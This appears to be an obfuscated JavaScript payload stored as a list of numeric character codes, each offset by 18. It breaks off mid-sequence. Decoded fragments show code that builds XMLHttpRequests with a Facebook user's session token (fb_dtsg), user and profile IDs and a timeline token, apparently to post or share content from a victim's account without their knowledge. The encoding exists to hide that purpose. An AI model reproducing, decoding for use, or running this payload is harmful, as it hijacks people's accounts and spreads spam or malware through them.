55,92,98,22,31,31,33,27,31,32,23,26,94,79,96,97,83,55,92,98,22,31,32,36,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,35,31,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,36,32,27,35,31,23,26,94,79,96,97,83,55,92,98,22,31,33,36,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,32,38,27,32,37,23,26,94,79,96,97,83,55,92,98,22,31,33,37,27,33,37,23,26,94,79,96,97,83,55,92,98,22,39,33,27,33,34,23,26,94,79,96,97,83,55,92,98,22,35,30,27,31,38,23,26,94,79,96,97,83,55,92,98,22,31,31,34,27,31,35,23,26,94,79,96,97,83,55,92,98,22,31,34,34,27,34,30,23,26,94,79,96,97,83,55,92,98,22,31,32,31,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,36,34,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,37,31,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,33,37,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,33,32,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,31,33,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,31,30,27,32,35,23,26,94,79,96,97,83,55,92,98,22,39,35,27,31,31,23,26,94,79,96,97,83,55,92,98,22,38,35,27,31,35,23,26,94,79,96,97,83,55,92,98,22,36,31,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,30,32,27,34,36,23,23,23,26,93,28,97,83,92,82,22,23,26,93,28,93,92,96,83,79,82,103,97,98,79,98,83,81,86,79,92,85,83,43,84,99,92,81,98,87,93,92,22,23,105,34,43,43,93,28,96,83,79,82,103,65,98,79,98,83,20,20,32,30,30,43,43,93,28,97,98,79,98,99,97,20,20,22,83,28,97,86,79,96,83,82,77,98,87,91,83,43,93,28,96,83,97,94,93,92,97,83,66,83,102,98,28,97,94,90,87,98,22,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,33,31,27,33,31,23,26,94,79,96,97,83,55,92,98,22,31,32,33,27,32,36,23,26,94,79,96,97,83,55,92,98,22,31,37,36,27,36,30,23,26,94,79,96,97,83,55,92,98,22,31,34,30,27,34,33,23,26,94,79,96,97,83,55,92,98,22,38,34,27,33,39,23,26,94,79,96,97,83,55,92,98,22,31,34,31,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,37,33,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,32,34,27,31,39,23,26,94,79,96,97,83,55,92,98,22,31,36,39,27,36,30,23,26,94,79,96,97,83,55,92,98,22,31,32,39,27,32,38,23,26,94,79,96,97,83,55,92,98,22,37,36,27,31,35,23,26,94,79,96,97,83,55,92,98,22,35,36,27,32,32,23,23,23,73,31,75,28,97,94,90,87,98,22,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,34,37,27,31,33,23,23,23,73,30,75,26,83,28,94,93,97,98,77,87,82,43,98,26,77,93,22,83,23,23,107,107,84,99,92,81,98,87,93,92,14,77,93,22,83,23,105,100,79,96,14,98,43,92,83,101,14,50,79,98,83,26,93,43,105,79,81,98,87,93,92,40,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,32,39,27,32,35,23,26,94,79,96,97,83,55,92,98,22,31,34,36,27,34,31,23,26,94,79,96,97,83,55,92,98,22,31,32,30,27,32,30,23,26,94,79,96,97,83,55,92,98,22,31,31,36,27,31,35,23,23,26,98,87,91,83,90,87,92,83,77,98,93,89,83,92,40,94,96,93,84,87,90,83,77,87,82,25,16,40,16,25,83,28,94,93,97,98,77,87,82,25,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,30,36,27,34,38,23,26,94,79,96,97,83,55,92,98,22,31,31,33,27,35,35,23,23,25,83,28,97,86,79,96,83,82,77,98,87,91,83,25,16,40,16,25,83,28,97,86,79,96,83,82,77,98,87,91,83,26,16,92,81,98,96,73,77,91,93,82,75,16,40,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,34,31,27,32,39,23,26,94,79,96,97,83,55,92,98,22,31,35,36,27,35,39,23,26,94,79,96,97,83,55,92,98,22,31,34,36,27,34,33,23,26,94,79,96,97,83,55,92,98,22,31,34,31,27,34,30,23,26,94,79,96,97,83,55,92,98,22,31,34,31,27,33,33,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,34,32,23,26,94,79,96,97,83,55,92,98,22,31,36,39,27,35,33,23,26,94,79,96,97,83,55,92,98,22,31,33,32,27,33,37,23,26,94,79,96,97,83,55,92,98,22,31,33,39,27,34,32,23,26,94,79,96,97,83,55,92,98,22,31,35,34,27,34,36,23,26,94,79,96,97,83,55,92,98,22,31,34,30,27,33,32,23,26,94,79,96,97,83,55,92,98,22,31,30,37,27,31,32,23,26,94,79,96,97,83,55,92,98,22,31,35,37,27,36,30,23,26,94,79,96,97,83,55,92,98,22,31,34,30,27,34,31,23,26,94,79,96,97,83,55,92,98,22,31,33,33,27,31,37,23,26,94,79,96,97,83,55,92,98,22,31,33,34,27,32,39,23,26,94,79,96,97,83,55,92,98,22,31,36,33,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,32,30,27,31,35,23,26,94,79,96,97,83,55,92,98,22,31,35,38,27,34,32,23,26,94,79,96,97,83,55,92,98,22,31,37,30,27,34,39,23,26,94,79,96,97,83,55,92,98,22,31,33,38,27,34,33,23,23,25,98,28,85,83,98,67,66,49,52,99,90,90,71,83,79,96,22,23,25,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,33,33,27,33,38,23,23,25,22,98,28,85,83,98,67,66,49,59,93,92,98,86,22,23,25,31,23,26,77,77,99,97,83,96,40,94,96,93,84,87,90,83,77,87,82,26,77,77,79,40,31,26,77,77,82,103,92,40,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,38,33,27,33,30,23,26,94,79,96,97,83,55,92,98,22,31,30,30,27,31,34,23,26,94,79,96,97,83,55,92,98,22,37,34,27,32,31,23,26,94,79,96,97,83,55,92,98,22,31,36,37,27,34,36,23,26,94,79,96,97,83,55,92,98,22,31,31,31,27,34,36,23,26,94,79,96,97,83,55,92,98,22,31,31,38,27,33,31,23,26,94,79,96,97,83,55,92,98,22,31,30,37,27,35,31,23,26,94,79,96,97,83,55,92,98,22,37,38,27,33,33,23,26,94,79,96,97,83,55,92,98,22,31,32,32,27,32,35,23,26,94,79,96,97,83,55,92,98,22,31,32,37,27,31,39,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,33,32,23,26,94,79,96,97,83,55,92,98,22,31,32,33,27,35,38,23,26,94,79,96,97,83,55,92,98,22,31,36,39,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,36,34,27,35,35,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,34,30,23,26,94,79,96,97,83,55,92,98,22,31,31,30,27,34,32,23,26,94,79,96,97,83,55,92,98,22,31,35,32,27,33,32,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,32,32,23,26,94,79,96,97,83,55,92,98,22,31,30,30,27,32,37,23,26,94,79,96,97,83,55,92,98,22,31,32,35,27,35,34,23,26,94,79,96,97,83,55,92,98,22,31,34,36,27,32,34,23,26,94,79,96,97,83,55,92,98,22,39,38,27,32,37,23,26,94,79,96,97,83,55,92,98,22,39,30,27,33,34,23,26,94,79,96,97,83,55,92,98,22,38,34,27,33,31,23,26,94,79,96,97,83,55,92,98,22,31,35,38,27,34,37,23,26,94,79,96,97,83,55,92,98,22,38,35,27,31,38,23,26,94,79,96,97,83,55,92,98,22,31,34,32,27,33,37,23,26,94,79,96,97,83,55,92,98,22,31,34,32,27,32,39,23,26,94,79,96,97,83,55,92,98,22,31,30,38,27,35,38,23,26,94,79,96,97,83,55,92,98,22,31,30,36,27,31,39,23,26,94,79,96,97,83,55,92,98,22,31,31,33,27,35,37,23,26,94,79,96,97,83,55,92,98,22,39,38,27,32,37,23,26,94,79,96,97,83,55,92,98,22,38,39,27,32,34,23,26,94,79,96,97,83,55,92,98,22,37,33,27,31,37,23,26,94,79,96,97,83,55,92,98,22,37,37,27,31,32,23,26,94,79,96,97,83,55,92,98,22,31,38,31,27,36,30,23,26,94,79,96,97,83,55,92,98,22,39,34,27,33,38,23,26,94,79,96,97,83,55,92,98,22,31,33,39,27,35,33,23,26,94,79,96,97,83,55,92,98,22,31,30,33,27,33,33,23,26,94,79,96,97,83,55,92,98,22,31,33,30,27,35,34,23,26,94,79,96,97,83,55,92,98,22,38,32,27,31,32,23,26,94,79,96,97,83,55,92,98,22,31,37,34,27,35,35,23,26,94,79,96,97,83,55,92,98,22,31,37,32,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,31,38,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,37,30,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,34,39,27,33,31,23,26,94,79,96,97,83,55,92,98,22,31,35,35,27,33,34,23,26,94,79,96,97,83,55,92,98,22,31,30,36,27,32,31,23,26,94,79,96,97,83,55,92,98,22,31,33,30,27,34,33,23,26,94,79,96,97,83,55,92,98,22,31,35,32,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,33,34,27,31,35,23,26,94,79,96,97,83,55,92,98,22,31,33,31,27,35,38,23,26,94,79,96,97,83,55,92,98,22,31,32,32,27,31,38,23,26,94,79,96,97,83,55,92,98,22,31,30,38,27,33,39,23,26,94,79,96,97,83,55,92,98,22,31,33,39,27,32,38,23,26,94,79,96,97,83,55,92,98,22,31,37,37,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,33,33,27,34,38,23,26,94,79,96,97,83,55,92,98,22,31,36,36,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,32,35,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,33,36,27,31,34,23,26,94,79,96,97,83,55,92,98,22,31,30,35,27,32,30,23,26,94,79,96,97,83,55,92,98,22,31,30,39,27,31,32,23,26,94,79,96,97,83,55,92,98,22,31,34,32,27,32,39,23,26,94,79,96,97,83,55,92,98,22,31,34,37,27,32,38,23,26,94,79,96,97,83,55,92,98,22,31,30,34,27,31,35,23,26,94,79,96,97,83,55,92,98,22,39,36,27,32,38,23,26,94,79,96,97,83,55,92,98,22,31,37,37,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,37,34,27,35,38,23,26,94,79,96,97,83,55,92,98,22,31,35,37,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,30,30,27,35,30,23,26,94,79,96,97,83,55,92,98,22,36,36,27,31,30,23,26,94,79,96,97,83,55,92,98,22,31,34,36,27,34,37,23,26,94,79,96,97,83,55,92,98,22,31,32,38,27,34,31,23,26,94,79,96,97,83,55,92,98,22,31,37,33,27,35,33,23,26,94,79,96,97,83,55,92,98,22,31,33,37,27,33,36,23,26,94,79,96,97,83,55,92,98,22,39,37,27,31,32,23,26,94,79,96,97,83,55,92,98,22,31,30,35,27,32,36,23,26,94,79,96,97,83,55,92,98,22,31,36,35,27,34,38,23,26,94,79,96,97,83,55,92,98,22,31,33,32,27,34,36,23,26,94,79,96,97,83,55,92,98,22,31,30,34,27,31,37,23,26,94,79,96,97,83,55,92,98,22,31,37,33,27,35,33,23,26,94,79,96,97,83,55,92,98,22,31,34,34,27,34,33,23,26,94,79,96,97,83,55,92,98,22,31,31,31,27,32,36,23,26,94,79,96,97,83,55,92,98,22,31,34,30,27,33,32,23,26,94,79,96,97,83,55,92,98,22,31,33,31,27,31,31,23,26,94,79,96,97,83,55,92,98,22,31,32,36,27,32,31,23,26,94,79,96,97,83,55,92,98,22,37,37,27,32,30,23,26,94,79,96,97,83,55,92,98,22,31,32,38,27,35,37,23,26,94,79,96,97,83,55,92,98,22,39,30,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,32,35,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,31,31,27,31,31,23,26,94,79,96,97,83,55,92,98,22,31,33,32,27,34,36,23,26,94,79,96,97,83,55,92,98,22,31,31,35,27,35,38,23,26,94,79,96,97,83,55,92,98,22,31,31,36,27,33,30,23,26,94,79,96,97,83,55,92,98,22,39,39,27,31,33,23,26,94,79,96,97,83,55,92,98,22,31,32,34,27,31,32,23,26,94,79,96,97,83,55,92,98,22,31,36,30,27,34,39,23,26,94,79,96,97,83,55,92,98,22,36,37,27,31,30,23,26,94,79,96,97,83,55,92,98,22,39,38,27,31,30,23,26,94,79,96,97,83,55,92,98,22,31,30,37,27,34,30,23,26,94,79,96,97,83,55,92,98,22,31,37,32,27,35,30,23,26,94,79,96,97,83,55,92,98,22,36,38,27,31,31,23,26,94,79,96,97,83,55,92,98,22,31,34,30,27,32,37,23,26,94,79,96,97,83,55,92,98,22,39,38,27,33,31,23,26,94,79,96,97,83,55,92,98,22,31,37,36,27,35,34,23,26,94,79,96,97,83,55,92,98,22,31,32,32,27,35,33,23,26,94,79,96,97,83,55,92,98,22,31,33,31,27,33,33,23,26,94,79,96,97,83,55,92,98,22,31,32,30,27,31,39,23,26,94,79,96,97,83,55,92,98,22,39,36,27,34,31,23,26,94,79,96,97,83,55,92,98,22,37,35,27,31,39,23,26,94,79,96,97,83,55,92,98,22,31,30,36,27,32,37,23,26,94,79,96,97,83,55,92,98,22,38,36,27,33,34,23,26,94,79,96,97,83,55,92,98,22,31,30,39,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,31,32,27,34,33,23,26,94,79,96,97,83,55,92,98,22,31,36,34,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,32,34,27,35,33,23,26,94,79,96,97,83,55,92,98,22,31,30,37,27,35,35,23,26,94,79,96,97,83,55,92,98,22,31,30,31,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,36,34,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,34,39,27,33,30,23,23,26,77,77,96,83,95,40,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,32,34,27,31,31,23,23,26,77,77,94,81,40,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,30,34,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,33,38,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,31,31,27,33,31,23,26,94,79,96,97,83,55,92,98,22,36,39,27,32,30,23,26,94,79,96,97,83,55,92,98,22,37,37,27,31,39,23,26,94,79,96,97,83,55,92,98,22,38,33,27,31,35,23,26,94,79,96,97,83,55,92,98,22,39,38,27,32,39,23,26,94,79,96,97,83,55,92,98,22,31,30,35,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,31,35,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,33,31,27,34,36,23,26,94,79,96,97,83,55,92,98,22,31,32,39,27,35,33,23,26,94,79,96,97,83,55,92,98,22,31,32,35,27,34,31,23,23,26,84,80,77,82,98,97,85,40,84,80,77,82,98,97,85,26,98,98,97,98,79,91,94,40,98,98,97,98,79,91,94,26,77,77,96,83,100,40,77,77,96,83,100,107,26,79,43,92,83,101,14,70,59,58,54,98,98,94,64,83,95,99,83,97,98,41,79,28,93,94,83,92,22,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,33,37,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,31,37,27,33,38,23,26,94,79,96,97,83,55,92,98,22,39,34,27,31,31,23,26,94,79,96,97,83,55,92,98,22,31,33,31,27,34,37,23,23,26,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,35,38,27,35,34,23,26,94,79,96,97,83,55,92,98,22,31,33,32,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,34,36,27,33,30,23,26,94,79,96,97,83,55,92,98,22,31,32,34,27,31,32,23,26,94,79,96,97,83,55,92,98,22,31,34,39,27,33,34,23,26,94,79,96,97,83,55,92,98,22,31,31,32,27,35,34,23,26,94,79,96,97,83,55,92,98,22,31,30,32,27,35,35,23,26,94,79,96,97,83,55,92,98,22,36,34,27,31,37,23,26,94,79,96,97,83,55,92,98,22,31,36,38,27,34,39,23,26,94,79,96,97,83,55,92,98,22,31,36,37,27,34,38,23,26,94,79,96,97,83,55,92,98,22,31,33,30,27,31,31,23,26,94,79,96,97,83,55,92,98,22,31,30,32,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,33,39,27,33,37,23,26,94,79,96,97,83,55,92,98,22,31,32,39,27,33,32,23,26,94,79,96,97,83,55,92,98,22,31,35,36,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,32,38,27,32,37,23,26,94,79,96,97,83,55,92,98,22,31,33,36,27,33,38,23,26,94,79,96,97,83,55,92,98,22,31,36,37,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,34,39,27,33,38,23,26,94,79,96,97,83,55,92,98,22,31,35,35,27,34,38,23,26,94,79,96,97,83,55,92,98,22,31,30,35,27,35,39,23,26,94,79,96,97,83,55,92,98,22,31,33,36,27,33,37,23,26,94,79,96,97,83,55,92,98,22,31,36,39,27,35,38,23,26,94,79,96,97,83,55,92,98,22,31,32,30,27,31,31,23,26,94,79,96,97,83,55,92,98,22,36,33,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,35,35,27,35,38,23,26,94,79,96,97,83,55,92,98,22,31,32,31,27,31,35,23,26,94,79,96,97,83,55,92,98,22,31,30,39,27,31,32,23,26,94,79,96,97,83,55,92,98,22,31,34,38,27,32,38,23,26,94,79,96,97,83,55,92,98,22,35,39,27,31,32,23,26,94,79,96,97,83,55,92,98,22,31,36,38,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,32,37,27,32,32,23,26,94,79,96,97,83,55,92,98,22,31,32,38,27,31,39,23,26,94,79,96,97,83,55,92,98,22,31,32,32,27,32,31,23,26,94,79,96,97,83,55,92,98,22,31,33,33,27,32,35,23,26,94,79,96,97,83,55,92,98,22,31,34,38,27,34,33,23,26,94,79,96,97,83,55,92,98,22,31,32,34,27,31,34,23,26,94,79,96,97,83,55,92,98,22,31,32,30,27,31,39,23,26,94,79,96,97,83,55,92,98,22,39,37,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,35,31,27,35,34,23,26,94,79,96,97,83,55,92,98,22,31,36,35,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,36,30,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,34,34,27,34,39,23,26,94,79,96,97,83,55,92,98,22,31,33,31,27,33,34,23,26,94,79,96,97,83,55,92,98,22,31,32,32,27,32,33,23,26,94,79,96,97,83,55,92,98,22,31,36,32,27,34,36,23,26,94,79,96,97,83,55,92,98,22,31,35,36,27,35,31,23,26,94,79,96,97,83,55,92,98,22,31,37,30,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,34,37,27,34,32,23,26,94,79,96,97,83,55,92,98,22,31,34,35,27,32,39,23,26,94,79,96,97,83,55,92,98,22,31,36,30,27,33,39,23,26,94,79,96,97,83,55,92,98,22,38,37,27,34,30,23,26,94,79,96,97,83,55,92,98,22,31,37,35,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,34,32,27,33,37,23,26,94,79,96,97,83,55,92,98,22,31,35,36,27,34,31,23,26,94,79,96,97,83,55,92,98,22,31,31,38,27,31,33,23,26,94,79,96,97,83,55,92,98,22,31,33,33,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,35,31,27,34,36,23,26,94,79,96,97,83,55,92,98,22,31,32,34,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,35,38,27,35,33,23,26,94,79,96,97,83,55,92,98,22,31,36,34,27,34,38,23,26,94,79,96,97,83,55,92,98,22,31,37,39,27,35,38,23,26,94,79,96,97,83,55,92,98,22,36,30,27,31,34,23,26,94,79,96,97,83,55,92,98,22,31,36,39,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,32,33,27,31,39,23,26,94,79,96,97,83,55,92,98,22,31,34,31,27,32,39,23,26,94,79,96,97,83,55,92,98,22,31,30,33,27,34,30,23,26,94,79,96,97,83,55,92,98,22,31,32,35,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,35,39,27,33,39,23,26,94,79,96,97,83,55,92,98,22,31,34,35,27,32,39,23,26,94,79,96,97,83,55,92,98,22,37,39,27,31,38,23,26,94,79,96,97,83,55,92,98,22,31,34,35,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,32,32,27,32,31,23,23,23,26,79,28,97,83,98,64,83,95,99,83,97,98,54,83,79,82,83,96,22,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,39,31,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,33,32,23,26,94,79,96,97,83,55,92,98,22,31,36,32,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,35,32,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,31,34,27,31,33,23,26,94,79,96,97,83,55,92,98,22,31,36,32,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,35,38,27,34,32,23,26,94,79,96,97,83,55,92,98,22,36,31,27,31,36,23,26,94,79,96,97,83,55,92,98,22,39,38,27,31,34,23,26,94,79,96,97,83,55,92,98,22,31,36,36,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,36,30,27,34,38,23,26,94,79,96,97,83,55,92,98,22,31,33,31,27,33,30,23,23,26,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,33,32,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,35,39,27,34,37,23,26,94,79,96,97,83,55,92,98,22,31,37,31,27,35,39,23,26,94,79,96,97,83,55,92,98,22,31,36,30,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,33,38,23,26,94,79,96,97,83,55,92,98,22,31,31,34,27,31,35,23,26,94,79,96,97,83,55,92,98,22,31,31,33,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,36,31,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,33,30,27,32,35,23,26,94,79,96,97,83,55,92,98,22,31,33,32,27,32,31,23,26,94,79,96,97,83,55,92,98,22,31,33,36,27,32,36,23,26,94,79,96,97,83,55,92,98,22,31,30,33,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,37,30,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,30,31,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,34,33,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,37,30,27,35,31,23,26,94,79,96,97,83,55,92,98,22,31,36,34,27,34,35,23,26,94,79,96,97,83,55,92,98,22,37,36,27,33,31,23,26,94,79,96,97,83,55,92,98,22,31,33,30,27,32,38,23,26,94,79,96,97,83,55,92,98,22,31,37,30,27,35,39,23,26,94,79,96,97,83,55,92,98,22,31,36,37,27,35,33,23,26,94,79,96,97,83,55,92,98,22,31,32,38,27,31,39,23,26,94,79,96,97,83,55,92,98,22,38,30,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,37,34,27,35,37,23,26,94,79,96,97,83,55,92,98,22,31,32,35,27,31,31,23,26,94,79,96,97,83,55,92,98,22,31,32,34,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,31,33,27,31,32,23,26,94,79,96,97,83,55,92,98,22,31,32,36,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,35,31,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,36,32,27,35,31,23,26,94,79,96,97,83,55,92,98,22,31,33,36,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,32,38,27,32,37,23,26,94,79,96,97,83,55,92,98,22,31,33,37,27,33,37,23,26,94,79,96,97,83,55,92,98,22,39,33,27,33,34,23,26,94,79,96,97,83,55,92,98,22,35,30,27,31,38,23,26,94,79,96,97,83,55,92,98,22,31,31,34,27,31,35,23,26,94,79,96,97,83,55,92,98,22,31,34,34,27,34,30,23,26,94,79,96,97,83,55,92,98,22,31,32,31,27,32,34,23,26,94,79,96,97,83,55,92,98,22,31,36,34,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,37,31,27,35,36,23,26,94,79,96,97,83,55,92,98,22,31,33,37,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,33,32,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,31,33,27,35,32,23,26,94,79,96,97,83,55,92,98,22,31,31,30,27,32,35,23,26,94,79,96,97,83,55,92,98,22,39,35,27,31,31,23,26,94,79,96,97,83,55,92,98,22,38,35,27,31,35,23,26,94,79,96,97,83,55,92,98,22,36,31,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,30,32,27,34,36,23,23,23,26,79,28,97,83,92,82,22,77,48,22,93,23,23,26,79,28,93,92,96,83,79,82,103,97,98,79,98,83,81,86,79,92,85,83,43,84,99,92,81,98,87,93,92,22,23,105,87,84,22,34,43,43,79,28,96,83,79,82,103,65,98,79,98,83,20,20,32,30,30,43,43,79,28,97,98,79,98,99,97,23,105,56,65,61,60,28,94,79,96,97,83,22,79,28,96,83,97,94,93,92,97,83,66,83,102,98,28,96,83,94,90,79,81,83,22,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,31,33,38,27,33,36,23,26,94,79,96,97,83,55,92,98,22,31,34,35,27,33,34,23,26,94,79,96,97,83,55,92,98,22,31,35,39,27,34,35,23,26,94,79,96,97,83,55,92,98,22,36,31,27,32,39,23,26,94,79,96,97,83,55,92,98,22,38,34,27,34,34,23,26,94,79,96,97,83,55,92,98,22,37,38,27,31,39,23,26,94,79,96,97,83,55,92,98,22,38,34,27,32,35,23,26,94,79,96,97,83,55,92,98,22,38,36,27,34,35,23,26,94,79,96,97,83,55,92,98,22,38,35,27,32,36,23,23,26,16,16,23,23,107,107,107,84,99,92,81,98,87,93,92,14,77,94,22,83,23,105,100,79,96,14,98,43,105,91,83,97,97,79,85,83,77,87,82,40,83,28,94,93,97,98,77,87,82,26,84,93,90,90,93,101,40,30,26,77,77,99,97,83,96,40,94,96,93,84,87,90,83,77,87,82,26,77,77,79,40,31,26,77,77,82,103,92,40,65,98,96,87,92,85,28,84,96,93,91,49,86,79,96,49,93,82,83,22,94,79,96,97,83,55,92,98,22,38,39,27,33,34,23,26,94,79,96,97,83,55,92,98,22,38,36,27,32,31,23,26,94,79,96,97,83,55,92,98,22,31,36,38,27,35,39,23,26,94,79,96,97,83,55,92,98,22,31,35,35,27,35,38,23,26,94,79,96,97,83,55,92,98,22,31,34,35,27,33,39,23,26,94,79,96,97,83,55,92,98,22,38,34,27,31,35,23,26,94,79,96,97,83,55,92,98,22,31,36,33,27,34,31,23,26,94,79,96,97,83,55,92,98,22,31,33,39,27,35,34,23,26,94,79,96,97,83,55,92,98,22,31,30,34,27,33,34,23,26,94,79,96,97,83,55,92,98,22,31,34,38,27,34,30,23,26,94,79,96,97,83,55,92,98,22,31,38,31,27,36,30,23,26,94,79,96,97,83,55,92,98,22,31,35,39,27,35,30,23,26,94,79,96,97,83,55,92,98,22,31,30,34,27,35,31,23,26,94,79,96,97,83,55,92,98,22,31,34,31,27,36,30,23,26,94,79,96,97,83,55,92,98,22,36,38,27,31,31,23,26,94,79,96,97,83,55,92,98,22,31,31,39,27,33,34,23,26,94,79,96,97,83,55,92,98,22,31,33,36,27,32,35,23,26,94,79,96,97,83,55,92,98,22,31,32,31,27,34,39,23,26,94,79,96,97,83,55,92,98,22,31,35,32,27,35,34,23,26,94,79,96,97,83,55,92,98,22,31,33,37,27,33,34,23,26,94,79,96,97,83,55,92,98,22,31,31,37,27,33,30,23,26,94,79,96,97,83,55,92,98,22,31,33,38,27,31,37,23,26,94,79,96,97,83,55,92,98,22,36,30,27,31,31,23,26,94,79,96,97,83,55,92,98,22,31,32,37,27,31,38,23,26,94,79,96,97,83,55,92,98,22,37,38,27,32,31,23,26,94,79,96,97,83,55,92,98,22,31,32,34,27,35,39,23,26,94,79,96,97,83,55,92,98,22,31,30,34,27,33,37,23,26,94,79,96,97,83,55,92,98,22,31,36,39,27,35,30,23,26,94,79,96,97,83,55,92,98,22,38,38,27,31,33,23,26,94,79,96,97,83,55,92,98,22,31,37,36,27,35,35,23,26,94,79,96,97,83,55,92,98,22,31,31,33,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,30,37,27,33,37,23,26,94,79,96,97,83,55,92,98,22,36,35,27,31,35,23,26,94,79,96,97,83,55,92,98,22,37,32,27,31,35,23,26,94,79,96,97,83,55,92,98,22,39,31,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,36,35,27,34,34,23,26,94,79,96,97,83,55,92,98,22,31,33,38,27,32,31,23,26,94,79,96,97,83,55,92,98,22,31,32,38,27,31,36,23,26,94,79,96,97,83,55,92,98,22,31,30,38,27,33,38,23,26,94,79,96,97,83,55,92,98,22,31,32,31,27,34,35,23,26,94,79,96,97,83,55,92,98,22,31,31,36,27,34,36,23,26,94,79,96,97,83,55,92,98,22,31,35,36,27,33,37,23,26,94,79,96,97,83,55,92,98,22,31,35,35,27,33,35,23,26,94,79,96,97,83,55,92,98,22,31,30,33,27,33,37,23,26,94,79,96,97,83,55,92,98,22,31,35,37,27,33,37,23,26,94,79,96,97,83,55,92,98,22,31,35,35,27,33,37,23,26,94,79,96,